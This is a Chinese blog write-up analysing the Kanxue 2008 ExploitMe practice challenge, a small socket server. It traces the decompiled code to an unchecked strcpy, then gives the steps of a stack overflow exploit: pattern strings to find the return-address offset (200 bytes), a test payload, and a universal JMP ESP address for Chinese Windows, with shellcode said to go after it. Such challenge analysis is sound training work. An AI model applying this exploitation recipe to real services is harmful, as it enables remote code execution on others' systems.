看雪2008ExploitMe分析

  • 1265
  • 0
  • 2012-04-11

摘要:看雪2008ExploitMe分析

 

程序比较简单,是一个Socket服务程序,主要流程如下:
  v5 = accept(v4, (struct sockaddr *)((char *)&addr + 4), (int *)&name);
  if ( v5 != -1 )
  {
    while ( 1 )
    {
      memset(&v10, 0, 0x200u);
      v6 = recv(v5, (char *)&v10, 512, 0);
      if ( v6 < 0 )
      {
        ostream::operator<<("reading stream message erro!");
        ostream::operator<<(10);
        sub_4012B0(sub_4012D0);
        v6 = 0;
      }
      sub_401000(&v10); //关键溢出函数
      if ( !v6 )
      {
        closesocket(v5);
        v5 = accept(v4, (struct sockaddr *)((char *)&addr + 4), (int *)&name);
        if ( v5 == -1 )
          break;
      }
    }
  }
 
跟进00401000函数:
.text:00401000                 sub     esp, 0C8h
.text:00401006                 or      ecx, 0FFFFFFFFh
.text:00401009                 xor     eax, eax
.text:0040100B                 lea     edx, [esp+0C8h+var_C8]
.text:0040100F                 push    esi
.text:00401010                 push    edi
.text:00401011                 mov     edi, [esp+0D0h+arg_0]
.text:00401018                 push    offset asc_40904C ; "********************"
.text:0040101D                 repne scasb //获取字符串长度,当不满足zf = 0 && ecx != 0则结束
.text:0040101F                 not     ecx
.text:00401021                 sub     edi, ecx
.text:00401023                 mov     eax, ecx
.text:00401025                 mov     esi, edi
.text:00401027                 mov     edi, edx
.text:00401029                 shr     ecx, 2
.text:0040102C                 rep movsd //对字符串进行拷贝,cx的值会递减至0,而si,di的值会递加
.text:0040102E                 mov     ecx, eax
.text:00401030                 and     ecx, 3
.text:00401033                 rep movsb
.text:00401035                 mov     ecx, offset dword_409A68
.text:0040103A                 call    ostream::operator<<(char const *)
 
其实所实现的功能可翻译成为:
strcpy(&v5, a1);
在拷贝字符串时未验证缓冲区长度,此处会出现缓冲区溢出。
 
接下来可以使用发送shellcode来实现功能。不过在此之前,我们需要定位一下返回RET被覆盖的ESP的偏移,我使用如下方法:
a = "ABCDEFGHIJ"
for i in range(1,10):
a = a+a
 
b = "AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDDEEEEEEEEEEFFFFFFFFFFGGGGGGGGGGHHHHHHHHHHIIIIIIIIII"
for i in range(1,3):
    b = b+b
 
经过覆盖,两次的ESP值分别为:0x44434241和0x43434343
计算方法为:取最末位0x41和最初位0x44,带入表达式(0x43-0x41)x10&(0x41-0x41)=200(这里是连接),ESP地址在200+4位置.可以测试一下:
exp = 200*"A"
exp += "BBBB"
exp += 50*"A"
重复发送数据,看栈中数据:
0012FBB8   42424242  BBBB
 
接下来使用CN系统通用JMPESP:7ffa4512,在执行完RETN时::
7FFA4512   FFE4             JMP ESP //ESP = 0012FBBC
 
shellcode填写在JMP ESP之后即可。
 

 

 

------------------------------

文章的授權使用CC BY-ND2.5協議。凡是標示“轉載”的文章,均來源於網絡並儘可能標註作者。如果有侵犯您的權益,請及時聯繫刪除或者署名、授權。


Gtalk/Email: cmd4shell  [at]  gmail.com